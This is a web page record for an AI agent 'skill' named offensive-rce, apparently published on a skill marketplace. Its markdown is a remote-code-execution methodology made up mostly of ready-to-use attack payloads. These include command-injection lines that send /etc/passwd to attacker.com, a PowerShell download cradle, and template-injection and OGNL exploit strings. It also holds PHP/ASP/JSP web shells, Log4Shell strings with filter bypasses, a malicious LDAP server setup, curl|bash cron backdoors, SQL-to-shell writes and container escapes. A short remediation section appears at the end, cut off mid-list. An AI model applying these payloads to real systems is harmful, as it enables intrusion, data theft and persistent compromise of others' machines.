[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FWW6JDXP8NB7GWTSGHQBY":3,"skill-same:01M71FWW6JDXP8NB7GWTSGHQBY":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":24,"linkOnly":25,"markdownContent":26,"markdownBody":27,"frontMatter":28,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":34,"updatedAt":35,"install":36,"resources":49},"01M71FWW6JDXP8NB7GWTSGHQBY","offensive-rce",null,"- **OAST**: Burp Collaborator, Interactsh, canarytokens.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-rce\u002FSKILL.md",[],[19,20,21,22,23],"rce","offensive","offensive rce","cybersecurity","canarytokens","2026-11-10 10:12:30",false,"---\nname: offensive-rce\ndescription: \"- **OAST**: Burp Collaborator, Interactsh, canarytokens.\"\ndomain: cybersecurity\n---\n\n## Full Methodology\n\n# Remote Code Execution\n\noccurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.\n\n## Shortcut\n\n1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.\n2. Submit test payloads to the input locations in order to detect potential vulnerabilities.\n3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.\n4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.\n\n## Mechanisms\n\n### Code Injection\n\nThis program takes a user input string, pass it through `eval()` and return the results:\n\n```python\ndef calculate(input):\n  return eval(\"{}\".format(input))\n\nresult = calculate(user_input.calc)\nprint(\"The result is {}.\".format(result))\n```\n\nan attacker could provide the application with something more malicious instead:\n\n```http\nGET \u002Fcalculator?calc=\"__import__('os').system('ls')\"\nHost: example.com\n```\n\n### File Inclusion\n\nmaking the target server include a file containing malicious code.\n\n```php\n\u003C?php\n  \u002F\u002F Some PHP code\n\n  $file = $_GET[\"page\"];\n  include $file;\n\n  \u002F\u002F Some PHP code\n?>\n```\n\nif the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.\n\n```php\n\u003C?PHP\n  system($_GET[\"cmd\"]);\n?>\n```\n\nand then they can run commands:\n\n```http\nhttp:\u002F\u002Fexample.com\u002F?page=http:\u002F\u002Fattacker.com\u002Fmalicious.php?cmd=ls\n```\n\n### Command Injection\n\nUntrusted data flows into OS command execution APIs.\n\nExamples:\n\n```python\nsubprocess.run(\"ping -c 1 \" + user, shell=True)  # vulnerable\nsubprocess.run([\"ping\", \"-c\", \"1\", user], shell=False)  # safer\n```\n\nDetect via time\u002Fdelay payloads (`&& sleep 5`), OAST\u002FDNS callbacks, and out-of-band responses.\n\n### Server-Side Template Injection (SSTI)\n\nUser-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.\n\nProbe with arithmetic\u002Fconcat markers, escalate using engine-specific object graphs. Tools: `tplmap`.\n\n### Insecure Deserialization\n\nDeserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.\n\nTest with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.\n\n### Unsafe YAML and Config Parsers\n\nLoading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.\n\n### File Upload → Processing Chains\n\nUpload parsers (ImageMagick, ExifTool, video transcoders) may execute\u002Fparse complex formats leading to RCE. Test with harmless PoCs and OAST.\n\n## Hunt\n\n### 1. Identify Input Vectors\n\nMap all user-controlled input that could lead to code execution:\n\n- **Command-line argument injection**: APIs that execute shell commands, CLI tools, system utilities\n- **Template engines**: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)\n- **File uploads**: Server-side processing of images, documents, archives, media files\n- **Deserialization endpoints**: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)\n- **Expression Language fields**: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)\n- **Webhook URLs**: Server-side fetches triggered by user-supplied URLs\n- **Log file paths**: Log injection leading to log processing (LogForge, Log4Shell)\n- **Configuration files**: Upload or modification of config files (.htaccess, web.config, cron jobs)\n- **Email\u002Fdocument processing**: Mail parsers, PDF generators, office document converters\n- **Image manipulation**: ImageMagick, GraphicsMagick, Pillow, GD library operations\n- **Video\u002Faudio processing**: FFmpeg, ExifTool, media transcoders\n\n### 2. Test Payloads by Context\n\n#### Command Injection Payloads\n\n**Linux\u002FUnix:**\n\n```bash\n# Basic injection\n; whoami\n| whoami\n|| whoami\n& whoami\n&& whoami\n`whoami`\n$(whoami)\n\n# Time-based detection\n; sleep 10\n| sleep 10 &\n|| ping -c 10 127.0.0.1\n\n# Out-of-band (OAST)\n; nslookup $(whoami).attacker.com\n; curl http:\u002F\u002Fattacker.com\u002F$(whoami)\n; wget http:\u002F\u002Fattacker.com\u002F?data=$(cat \u002Fetc\u002Fpasswd | base64)\n\n# Space bypasses\ncat\u003C\u002Fetc\u002Fpasswd\n{cat,\u002Fetc\u002Fpasswd}\ncat$IFS\u002Fetc\u002Fpasswd\ncat${IFS}\u002Fetc\u002Fpasswd\nX=$'cat\\x20\u002Fetc\u002Fpasswd'&&$X\n\n# Command obfuscation\nc''at \u002Fetc\u002Fpasswd\nc\\at \u002Fetc\u002Fpasswd\nc\"a\"t \u002Fetc\u002Fpasswd\n$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)\n\n# Wildcard injection\n\u002F???\u002F??t \u002F???\u002F??ss??\n\u002F???\u002Fn? 127.0.0.1\n\n# Variable expansion\na=w;b=hoami;$a$b\n```\n\n**Windows:**\n\n```cmd\n# Basic injection\n& whoami\n&& whoami\n| whoami\n|| whoami\n; whoami\n\n# Newline injection\n%0a whoami\n\n# Time-based\n| ping -n 10 127.0.0.1\n& timeout \u002Ft 10\n\n# OAST\n& nslookup %USERNAME%.attacker.com\n& certutil -urlcache -split -f http:\u002F\u002Fattacker.com\u002Fbeacon\n\n# PowerShell execution\n& powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http:\u002F\u002Fattacker.com\u002Fshell.ps1')\"\n```\n\n#### Server-Side Template Injection (SSTI) Payloads\n\n**Jinja2 (Python - Flask, Ansible):**\n\n```python\n# Detection\n{{7*7}}                              # Returns 49\n{{7*'7'}}                            # Returns 7777777\n\n# Reconnaissance\n{{config}}\n{{config.items()}}\n{{self}}\n{%debug%}\n\n# RCE via __subclasses__\n{{''.__class__.__mro__[1].__subclasses__()}}\n\n# Find useful classes\n{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}\n\n# subprocess.Popen\n{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}\n\n# Modern bypass (Python 3)\n{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}\n\n# Lipsum object abuse\n{{lipsum.__globals__['os'].popen('whoami').read()}}\n\n# Cycler object\n{{cycler.__init__.__globals__.os.popen('whoami').read()}}\n```\n\n**Twig (PHP - Symfony):**\n\n```twig\n# Detection\n{{7*7}}\n\n# RCE\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}\n{{_self.env.getFilter(\"whoami\")}}\n\n# Alternative\n{{_self.env.enableDebug()}}\n{{_self.env.isDebug()}}\n\n# PHP filter chain (modern)\n{{[\"id\"]|filter(\"system\")}}\n```\n\n**Freemarker (Java):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"whoami\")}\n\n# Alternative\n\u003C#assign classLoader=object?api.class.protectionDomain.classLoader>\n\u003C#assign clazz=classLoader.loadClass(\"java.lang.Runtime\")>\n\u003C#assign method=clazz.getMethod(\"getRuntime\",null)>\n\u003C#assign runtime=method.invoke(null,null)>\n\u003C#assign method=clazz.getMethod(\"exec\",classLoader.loadClass(\"java.lang.String\"))>\n${method.invoke(runtime,\"whoami\")}\n```\n\n**Thymeleaf (Java - Spring):**\n\n```java\n# Detection\n[[${7*7}]]\n\n# RCE\n${T(java.lang.Runtime).getRuntime().exec('whoami')}\n[[${T(java.lang.Runtime).getRuntime().exec('whoami')}]]\n\n# Spring EL alternative\n${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}\n```\n\n**ERB (Ruby - Rails):**\n\n```ruby\n# Detection\n\u003C%= 7*7 %>\n\n# RCE\n\u003C%= system(\"whoami\") %>\n\u003C%= `whoami` %>\n\u003C%= IO.popen('whoami').readlines() %>\n\u003C%= %x(whoami) %>\n```\n\n**Velocity (Java):**\n\n```java\n# Detection\n#set($x = 7 * 7)$x\n\n# RCE\n#set($rt = $class.forName(\"java.lang.Runtime\"))\n#set($chr = $class.forName(\"java.lang.Character\"))\n#set($str = $class.forName(\"java.lang.String\"))\n#set($ex=$rt.getRuntime().exec(\"whoami\"))\n$ex.waitFor()\n#set($out=$ex.getInputStream())\n#foreach($i in [1..$out.available()])\n$chr.toString($out.read())\n#end\n```\n\n**Handlebars (JavaScript\u002FNode.js):**\n\n```javascript\n# Detection\n{{7*7}}\n\n# RCE (if helper is vulnerable)\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').execSync('whoami');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{\u002Fwith}}\n        {{\u002Feach}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n```\n\n#### Expression Language (EL) Injection\n\n**Spring SpEL (Spring Framework):**\n\n```java\n# Detection\n${7*7}\n#{7*7}\n\n# RCE\n${T(java.lang.Runtime).getRuntime().exec('whoami')}\n#{T(java.lang.Runtime).getRuntime().exec('whoami')}\n\n# Alternative methods\n${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}\n\n# Bypass blacklist\n${T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"whoami\"})}\n```\n\n**OGNL (Object-Graph Navigation Language - Struts):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\n${@java.lang.Runtime@getRuntime().exec('whoami')}\n\n# CVE-2017-5638 (Content-Type exploitation)\nContent-Type: %{(#_='multipart\u002Fform-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','\u002Fc',#cmd}:{'\u002Fbin\u002Fbash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\n```\n\n**MVEL (MVFLEX Expression Language):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\nRuntime.getRuntime().exec(\"whoami\");\n```\n\n#### Deserialization Payloads\n\n**Java (using ysoserial):**\n\n```bash\n# Generate payload\njava -jar ysoserial.jar CommonsCollections6 'curl http:\u002F\u002Fattacker.com\u002Fbeacon' | base64\n\n# Popular gadget chains\nysoserial CommonsCollections1\nysoserial CommonsCollections6\nysoserial CommonsCollections7\nysoserial Spring1\nysoserial Spring2\nysoserial Jdk7u21\nysoserial Hibernate1\n```\n\n**.NET (using ysoserial.net):**\n\n```bash\n# Generate payload\nysoserial.exe -g ObjectDataProvider -f Json -c \"calc.exe\"\nysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c \"powershell.exe -c whoami\"\n\n# Gadgets\nTypeConfuseDelegate\nObjectDataProvider\nPSObject\nWindowsIdentity\n```\n\n**Python pickle:**\n\n```python\nimport pickle\nimport base64\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\npayload = pickle.dumps(RCE())\nprint(base64.b64encode(payload))\n```\n\n**PHP serialize:**\n\n```php\n# Magic methods for exploitation\n__wakeup()\n__destruct()\n__toString()\n\n# Example payload\nO:8:\"stdClass\":1:{s:4:\"file\";s:17:\"\u002Fetc\u002Fpasswd\";}\n```\n\n### 3. Advanced Techniques\n\n#### Blind RCE Detection\n\n**Time-Based:**\n\n```bash\n# Linux\n; sleep 10\n| ping -c 10 127.0.0.1\n| timeout 10\n\n# Windows\n| ping -n 10 127.0.0.1\n& timeout \u002Ft 10\n```\n\n**Out-of-Band (OAST) using Burp Collaborator:**\n\n```bash\n# DNS exfiltration\n; nslookup $(whoami).burpcollaborator.net\n; dig $(whoami).burpcollaborator.net\n\n# HTTP callback\n; curl http:\u002F\u002Fburpcollaborator.net\n; wget http:\u002F\u002Fburpcollaborator.net\u002F$(whoami)\n\n# DNS with data exfiltration\n; cat \u002Fetc\u002Fpasswd | base64 | xargs -I {} nslookup {}.burpcollaborator.net\n```\n\n#### Bypass Techniques\n\n**Blacklist Bypasses:**\n\n```bash\n# Case variation\nWhOaMi\nwH%6f%61%6Di\n\n# Encoding\nwh\\u006fami\nwh\\x6fami\necho \"d2hvYW1p\" | base64 -d | sh\n\n# Line continuation\nwh\\\noami\n\n# Comments (bash)\nwh#comment\noami\n\n# Null byte (legacy)\nwhoami%00.jpg\n```\n\n**WAF Bypasses:**\n\n```bash\n# Unicode\u002Fencoding\nwh\\u006fami\n\n# Hex encoding\n\\x77\\x68\\x6f\\x61\\x6d\\x69\n\n# Concatenation\n'wh'+'oami'\n\"wh\"+\"oami\"\n\n# Variable expansion\na=w;b=hoami;$a$b\n```\n\n### 4. Confirm the Vulnerability\n\nExecute harmless commands to prove RCE without causing damage:\n\n```bash\n# Safe verification commands\nwhoami\nid\npwd\nhostname\nuname -a\ncat \u002Fetc\u002Fissue\nsysteminfo (Windows)\n\n# Create proof file\necho \"pwned_by_researcher\" > \u002Ftmp\u002Fproof.txt\n\n# Time-based confirmation\nsleep 10 && curl http:\u002F\u002Fattacker.com\u002Fconfirmed\n```\n\n**Practical Tactics:**\n\n- Use time-based payloads for blind cases; confirm via differential latency (baseline vs payload response time)\n- Use OAST (Burp Collaborator, Interactsh) to detect out-of-band DNS\u002FHTTP callbacks\n- For deserialization, try signed\u002Funsigned object tampering and gadget canaries\n- For uploads, verify server-side processing paths (thumbnails, metadata extraction, AV scanning windows)\n- Test multiple injection points in parallel; backend queue processing may delay execution\n- Monitor server-side logs if accessible (error logs often reveal stack traces)\n\n## Vulnerabilities\n\n### File Upload → RCE Chains\n\n#### 1. Web Shell Upload\n\n**PHP Web Shells:**\n\n```php\n# Minimal shell\n\u003C?php system($_GET['c']); ?>\n\n# Bypass extension filters\nshell.php.jpg\nshell.php%00.jpg     # Null byte (PHP \u003C5.3)\nshell.php%0a.jpg     # Newline\nshell.php.....       # Multiple dots\nshell.pHp            # Case variation\nshell.php%20         # Trailing space\nshell.php::$DATA     # Windows NTFS ADS\nshell.php\u002F           # Trailing slash (IIS)\n\n# Content-Type manipulation\nContent-Type: image\u002Fjpeg\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php.jpg\"\n\n# Polyglot files (valid image + PHP)\nGIF89a\u003C?php system($_GET['c']); ?>\n```\n\n**ASP\u002FASPX Shells:**\n\n```asp\n\u003C%@ Page Language=\"C#\" %>\n\u003C%@ Import Namespace=\"System.Diagnostics\" %>\n\u003C% Process.Start(\"cmd.exe\", \"\u002Fc \" + Request[\"c\"]); %>\n```\n\n**JSP Shells:**\n\n```jsp\n\u003C% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>\n```\n\n#### 2. .htaccess \u002F web.config Injection\n\n**.htaccess to enable PHP in images:**\n\n```apache\nAddType application\u002Fx-httpd-php .jpg\nAddHandler application\u002Fx-httpd-php .jpg\n\n# Alternative\n\u003CFilesMatch \"\\.jpg$\">\n  SetHandler application\u002Fx-httpd-php\n\u003C\u002FFilesMatch>\n```\n\n**web.config to enable ASP in images:**\n\n```xml\n\u003Cconfiguration>\n  \u003Csystem.webServer>\n    \u003Chandlers>\n      \u003Cadd name=\"jpg\" path=\"*.jpg\" verb=\"*\" type=\"System.Web.UI.PageHandlerFactory\" \u002F>\n    \u003C\u002Fhandlers>\n  \u003C\u002Fsystem.webServer>\n\u003C\u002Fconfiguration>\n```\n\n#### 3. Archive Extraction (Zip Slip - CVE-2018-1002200)\n\n```bash\n# Create malicious zip with path traversal\nln -s ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fevil evil.txt\nzip --symlinks evil.zip evil.txt\n\n# Or craft manually with path traversal\nevil\u002F\n  ..\u002F..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\n  ..\u002F..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fbackdoor\n```\n\n**Testing:**\n\n- Upload zip\u002Ftar containing paths with `..\u002F`\n- Symlink to sensitive locations\n- Overwrite cron jobs, SSH keys, web roots\n\n#### 4. ImageMagick Exploits\n\n**ImageTragick (CVE-2016-3714):**\n\n```\npush graphic-context\nviewbox 0 0 640 480\nfill 'url(https:\u002F\u002Fattacker.com\u002Fshell.jpg\"|whoami\")'\npop graphic-context\n```\n\n**Modern ImageMagick RCE (CVE-2022-44268):**\n\n```bash\n# Arbitrary file read\nconvert -size 1x1 xc:red -set \"profile:1\" \"\u002Fetc\u002Fpasswd\" exploit.png\n\n# Exploitation\nconvert exploit.png output.png\nidentify -verbose output.png | grep \"Raw profile type\"\n```\n\n**Other ImageMagick vectors:**\n\n- MSL (Magick Scripting Language) injection\n- Label injection for RCE\n- SVG with embedded scripts\n\n#### 5. PDF Processing RCE\n\n**PDF with JavaScript:**\n\n```javascript\napp.alert({ cMsg: \"XSS\", cTitle: \"XSS\" });\n\n\u002F\u002F File system access (if enabled)\nthis.exportDataObject({ cName: \"test\", nLaunch: 2 });\n```\n\n**LaTeX Injection:**\n\n```latex\n\\documentclass{article}\n\\immediate\\write18{whoami}\n\\begin{document}\nHello World\n\\end{document}\n\n# Alternative\n\\input{|\"whoami\"}\n```\n\n**XSL-FO Injection (Apache FOP):**\n\n```xml\n\u003Cfo:instream-foreign-object>\n  \u003Csvg:svg>\n    \u003Csvg:script>java.lang.Runtime.getRuntime().exec(\"whoami\")\u003C\u002Fsvg:script>\n  \u003C\u002Fsvg:svg>\n\u003C\u002Ffo:instream-foreign-object>\n```\n\n#### 6. Office Document Processing\n\n**XXE in DOCX\u002FXLSX:**\n\n```xml\n# Extract document1.xml from DOCX\n\u003C!DOCTYPE test [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cdocument>&xxe;\u003C\u002Fdocument>\n```\n\n**Macro-enabled Documents:**\n\n- DOCM, XLSM, PPTM files with VBA macros\n- Excel 4.0 macros (XLM) bypass modern protections\n- DDE (Dynamic Data Exchange) injection\n\n**LibreOffice\u002FOpenOffice Exploits:**\n\n- CVE-2023-2255: Remote code execution via crafted documents\n- Python macro execution in LibreOffice\n\n### Log4Shell (CVE-2021-44228)\n\n**Basic Payloads:**\n\n```bash\n${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n${jndi:rmi:\u002F\u002Fattacker.com\u002Fa}\n${jndi:dns:\u002F\u002Fattacker.com\u002Fa}\n\n# Common injection points\nUser-Agent: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\nX-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\nReferer: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n```\n\n**Obfuscation Bypasses:**\n\n```bash\n# Lowercase\u002Fuppercase\n${${lower:j}ndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n${${upper:j}ndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Environment variables\n${j${env:NOTHING:-n}di:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Nested lookups\n${jnd${sys:java.version:-i}:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Multiple levels\n${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:\u002F\u002Fattacker.com\u002Fa}\n```\n\n**Setup LDAP server for exploitation:**\n\n```bash\n# Using marshalsec\njava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http:\u002F\u002Fattacker.com\u002F#Exploit\" 1389\n\n# Exploit.java - compile and host\npublic class Exploit {\n    static {\n        try {\n            Runtime.getRuntime().exec(\"curl http:\u002F\u002Fattacker.com\u002Fpwned\");\n        } catch (Exception e) {}\n    }\n}\n```\n\n### Prototype Pollution → RCE (Node.js)\n\n**Pollute Object prototype:**\n\n```javascript\n\u002F\u002F Via JSON\n{\"__proto__\": {\"isAdmin\": true}}\n{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}\n\n\u002F\u002F Via query parameters\n?__proto__[isAdmin]=true\n?constructor[prototype][isAdmin]=true\n```\n\n**Escalate to RCE:**\n\n```javascript\n\u002F\u002F Pollute child_process options\n{\n  \"__proto__\": {\n    \"shell\": \"\u002Fbin\u002Fsh\",\n    \"argv0\": \"console.log(require('child_process').execSync('whoami').toString())\u002F\u002F\"\n  }\n}\n\n\u002F\u002F Pollute via NODE_OPTIONS\n{\"__proto__\": {\"NODE_OPTIONS\": \"--require \u002Ftmp\u002Fmalicious.js\"}}\n\n\u002F\u002F CVE-2022-21824 - Prototype pollution in VM module\n```\n\n### FFmpeg \u002F ExifTool Exploits\n\n**FFmpeg SSRF (CVE-2016-1897, CVE-2016-1898):**\n\n```\n# Playlist SSRF\nconcat:http:\u002F\u002Fattacker.com\u002Fplaylist|file:\u002F\u002F\u002Fetc\u002Fpasswd\n\n# HLS SSRF\n#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:10.0,\nhttp:\u002F\u002Finternal.server\u002Fadmin\n```\n\n**ExifTool RCE (CVE-2021-22204):**\n\n```bash\n# Create malicious image with DjVu exploit\nexiftool -config exploit.config '-HasselbladExif\u003C=exploit.jpg' malicious.jpg\n```\n\n### SQL Injection → RCE\n\n**MySQL:**\n\n```sql\n-- Write web shell\nSELECT '\u003C?php system($_GET[\"c\"]); ?>' INTO OUTFILE '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php';\n\n-- Read file\nLOAD_FILE('\u002Fetc\u002Fpasswd');\n\n-- UDF exploitation\nCREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';\nSELECT sys_exec('whoami');\n```\n\n**PostgreSQL:**\n\n```sql\n-- COPY TO PROGRAM (9.3+)\nCOPY (SELECT '') TO PROGRAM 'curl http:\u002F\u002Fattacker.com\u002Fbeacon';\n\n-- Large Object + lo_export\nSELECT lo_create(-1);\nINSERT INTO pg_largeobject VALUES (-1, 0, decode('\u003C?php system($_GET[\"c\"]); ?>', 'base64'));\nSELECT lo_export(-1, '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php');\n```\n\n**MSSQL:**\n\n```sql\n-- xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\nEXEC xp_cmdshell 'whoami';\n\n-- OLE Automation\nEXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;\nEXEC sp_OAMethod @shell, 'Run', NULL, 'cmd \u002Fc whoami';\n```\n\n### Container Escape → RCE\n\n**Docker Socket Exposure:**\n\n```bash\n# If \u002Fvar\u002Frun\u002Fdocker.sock is mounted\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -v \u002F:\u002Fhost -it alpine chroot \u002Fhost sh\n```\n\n**Privileged Container:**\n\n```bash\n# From privileged container\nmkdir \u002Ftmp\u002Fexploit\nmount \u002Fdev\u002Fsda1 \u002Ftmp\u002Fexploit\nchroot \u002Ftmp\u002Fexploit sh\n```\n\n**Kernel Exploits:**\n\n- Dirty COW (CVE-2016-5195)\n- DirtyPipe (CVE-2022-0847)\n- DirtyCred (CVE-2022-2588)\n\n## Chaining and Escalation\n\n### 1. Path Traversal → RCE\n\n```bash\n# Overwrite SSH authorized_keys\nPUT \u002Fupload?path=..\u002F..\u002F.ssh\u002Fauthorized_keys\n\n# Overwrite cron job\nPUT \u002Fupload?path=..\u002F..\u002Fetc\u002Fcron.d\u002Fbackdoor\nContent: * * * * * root curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\n\n# Overwrite bash profile\nPUT \u002Fupload?path=..\u002F..\u002F.bashrc\n\n# Overwrite PHP auto-prepend\nPUT \u002Fupload?path=..\u002F..\u002F.user.ini\nContent: auto_prepend_file=\u002Ftmp\u002Fshell.php\n```\n\n### 2. SSRF → RCE\n\n```bash\n# SSRF to cloud metadata → IAM creds\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# SSRF to internal admin → RCE\nhttp:\u002F\u002Finternal:8080\u002Fadmin\u002Fexec?cmd=whoami\n\n# SSRF to Redis → cron job\nhttp:\u002F\u002Flocalhost:6379\nCONFIG SET dir \u002Fetc\u002Fcron.d\u002F\nCONFIG SET dbfilename root\nSET 1 \"* * * * * root curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\"\nSAVE\n```\n\n### 3. XXE → RCE\n\n```xml\n# XXE + PHP expect wrapper\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fwhoami\">\n]>\n\u003Croot>&xxe;\u003C\u002Froot>\n\n# XXE + JAR protocol (Java)\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"jar:http:\u002F\u002Fattacker.com\u002Fmalicious.jar!\u002Fpayload.class\">\n]>\n```\n\n### 4. SSTI → File Write → RCE\n\n```python\n# Jinja2 write web shell\n{{''.__class__.__mro__[1].__subclasses__()[40]('\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php','w').write('\u003C?php system($_GET[\"c\"]); ?>')}}\n```\n\n## Real-World CVEs and Cases\n\n### Critical RCE Vulnerabilities\n\n1. **CVE-2021-44228 - Log4Shell (Apache Log4j)**:\n   - JNDI injection in logging library\n   - Affected: Minecraft, VMware, Cisco, countless others\n   - Impact: Unauthenticated RCE on millions of systems\n\n2. **CVE-2022-22965 - Spring4Shell (Spring Framework)**:\n   - Class loader manipulation via property binding\n   - Impact: RCE on Spring MVC applications\n\n3. **CVE-2021-3129 - Laravel Debug Mode RCE**:\n   - Ignition debug page deserialization\n   - Impact: Unauthenticated RCE on Laravel apps with debug enabled\n\n4. **CVE-2019-0193 - Apache Solr RCE**:\n   - Velocity template injection\n   - Impact: Unauthenticated RCE on Solr instances\n\n5. **CVE-2017-5638 - Apache Struts2 RCE**:\n   - OGNL injection via Content-Type header\n   - Impact: Led to Equifax breach affecting 147M people\n\n6. **CVE-2020-1938 - Ghostcat (Apache Tomcat)**:\n   - AJP protocol file read\u002Finclusion\n   - Impact: RCE via arbitrary file write\n\n7. **CVE-2022-26134 - Confluence RCE**:\n   - OGNL injection in Confluence Server\u002FData Center\n   - Impact: Unauthenticated RCE\n\n8. **CVE-2018-1002200 - Kubernetes Arbitrary File Overwrite (Zip Slip)**:\n   - Path traversal in tar\u002Fzip extraction\n   - Impact: Container escape via kubectl cp\n\n9. **CVE-2016-3714 - ImageTragick (ImageMagick)**:\n   - Command injection via image processing\n   - Impact: RCE on image upload features\n\n10. **CVE-2021-22204 - ExifTool RCE**:\n    - DjVu metadata command injection\n    - Impact: RCE via image metadata parsing\n\n### Impact Categories\n\n- **Critical**: Unauthenticated RCE on internet-facing services\n- **High**: Authenticated RCE or unauthenticated RCE requiring interaction\n- **Medium**: RCE requiring specific configuration or low-privilege authentication\n- **Low**: RCE requiring admin access or highly specific conditions\n\n## Remediation Recommendations\n\nAvoid inserting user input into code that gets evaluated. Also treat user uploaded files as untrusted, and avoid including file based on user input.\n\n### Defensive Checklist\n\n- **Eliminate Dangerous Functions**: Remove `eval`, `exec`, 